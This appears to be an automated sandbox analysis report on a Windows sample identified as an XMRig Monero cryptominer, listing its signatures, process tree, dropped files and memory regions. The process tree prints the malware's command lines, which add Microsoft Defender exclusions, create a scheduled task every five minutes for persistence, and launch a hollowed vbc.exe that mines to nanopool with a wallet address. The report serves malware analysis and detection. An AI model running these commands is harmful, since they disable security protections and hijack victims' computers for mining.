Analysis

  • max time kernel
    64s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/12/2022, 16:08

General

  • Target
    file.exe
  • Size 1.9MB
  • Sample221218-tk74vacg22
  • SHA256 eb56f4e64622a32b633ad9cd6946ffb444041a4fcb53c8b583d76bd5ba4dea58
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2788
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp935B.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3164
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:456
      • C:\ProgramData\cloud\TQOV.exe
        "C:\ProgramData\cloud\TQOV.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3632
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2748
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3244
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TQOV" /tr "C:\ProgramData\cloud\TQOV.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2680
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TQOV" /tr "C:\ProgramData\cloud\TQOV.exe"
            5⤵
            • Creates scheduled task(s)
            PID:2140
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:1412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3964

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        TQOV.exe

        • Path C:\ProgramData\cloud\TQOV.exe
        • Size 1.9MB
        • SHA256 eb56f4e64622a32b633ad9cd6946ffb444041a4fcb53c8b583d76bd5ba4dea58
        • MD5 SHA1 SHA512 SSDEEP

        TQOV.exe

        • Path C:\ProgramData\cloud\TQOV.exe
        • Size 1.9MB
        • SHA256 eb56f4e64622a32b633ad9cd6946ffb444041a4fcb53c8b583d76bd5ba4dea58
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 263d9b98a897d1d66da4832af640c4bf5ab0ae91125ba12243453dfe714f3d0d
        • MD5 SHA1 SHA512

        tmp935B.tmp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\tmp935B.tmp.bat
        • Size 138B
        • SHA256 1d4a10c6cf5f0e6637c50a064a2c0603600d8cc626455562c7645a1d61e5dc55
        • MD5 SHA1 SHA512

        memory/1412-191-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1412-197-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1412-188-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1412-186-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1412-201-0x0000021060370000-0x0000021060390000-memory.dmp

        memory/1412-200-0x0000020FCDBA0000-0x0000020FCDBC0000-memory.dmp

        memory/1412-199-0x0000021060370000-0x0000021060390000-memory.dmp

        memory/1412-190-0x0000020FCDB40000-0x0000020FCDB60000-memory.dmp

        memory/1412-189-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1412-198-0x0000020FCDBA0000-0x0000020FCDBC0000-memory.dmp

        memory/1412-194-0x000002105FCF0000-0x000002105FD30000-memory.dmp

        memory/2748-180-0x00007FFD783E0000-0x00007FFD78EA1000-memory.dmp

        memory/2788-155-0x00007FFD783E0000-0x00007FFD78EA1000-memory.dmp

        memory/2788-150-0x000002074B380000-0x000002074B3A2000-memory.dmp

        memory/3244-178-0x00007FFD783E0000-0x00007FFD78EA1000-memory.dmp

        memory/3632-168-0x0000000000070000-0x00000000002C4000-memory.dmp

        memory/3632-183-0x00007FFD71150000-0x00007FFD71252000-memory.dmp

        memory/3632-166-0x00007FFD783E0000-0x00007FFD78EA1000-memory.dmp

        memory/3632-167-0x00007FFD95890000-0x00007FFD958BB000-memory.dmp

        memory/3632-196-0x00007FFD783E0000-0x00007FFD78EA1000-memory.dmp

        memory/3632-169-0x00007FFD767E0000-0x00007FFD7692E000-memory.dmp

        memory/3632-170-0x0000000000070000-0x00000000002C4000-memory.dmp

        memory/3632-171-0x00000000003A0000-0x00000000003E1000-memory.dmp

        memory/3632-172-0x00007FFD783E0000-0x00007FFD78EA1000-memory.dmp

        memory/3632-164-0x00007FFD793B0000-0x00007FFD7946D000-memory.dmp

        memory/3632-163-0x00007FFD91FF0000-0x00007FFD92002000-memory.dmp

        memory/3632-162-0x00007FFD94A30000-0x00007FFD94ACE000-memory.dmp

        memory/3632-161-0x00007FFD792B0000-0x00007FFD7935A000-memory.dmp

        memory/3632-195-0x0000000000070000-0x00000000002C4000-memory.dmp

        memory/3632-193-0x00007FFD783E0000-0x00007FFD78EA1000-memory.dmp

        memory/3632-192-0x0000000000070000-0x00000000002C4000-memory.dmp

        memory/3632-181-0x00007FFD94780000-0x00007FFD947A7000-memory.dmp

        memory/3632-182-0x00007FFD794E0000-0x00007FFD79515000-memory.dmp

        memory/3632-165-0x00007FFD967B0000-0x00007FFD96951000-memory.dmp

        memory/3632-184-0x00007FFD95DE0000-0x00007FFD95E4B000-memory.dmp

        memory/3632-185-0x00007FFD934A0000-0x00007FFD934DB000-memory.dmp

        memory/3964-156-0x00007FFD783E0000-0x00007FFD78EA1000-memory.dmp

        memory/4996-139-0x00007FFD95890000-0x00007FFD958BB000-memory.dmp

        memory/4996-144-0x00007FFD783E0000-0x00007FFD78EA1000-memory.dmp

        memory/4996-141-0x00007FFD765F0000-0x00007FFD7673E000-memory.dmp

        memory/4996-140-0x0000000000FA0000-0x00000000011F4000-memory.dmp

        memory/4996-148-0x0000000000FA0000-0x00000000011F4000-memory.dmp

        memory/4996-149-0x00007FFD783E0000-0x00007FFD78EA1000-memory.dmp

        memory/4996-143-0x0000000000E90000-0x0000000000ED1000-memory.dmp

        memory/4996-142-0x0000000000FA0000-0x00000000011F4000-memory.dmp

        memory/4996-133-0x00007FFD794C0000-0x00007FFD7956A000-memory.dmp

        memory/4996-138-0x00007FFD783E0000-0x00007FFD78EA1000-memory.dmp

        memory/4996-137-0x00007FFD967B0000-0x00007FFD96951000-memory.dmp

        memory/4996-136-0x00007FFD793B0000-0x00007FFD7946D000-memory.dmp

        memory/4996-135-0x00007FFD91FF0000-0x00007FFD92002000-memory.dmp

        memory/4996-134-0x00007FFD94A30000-0x00007FFD94ACE000-memory.dmp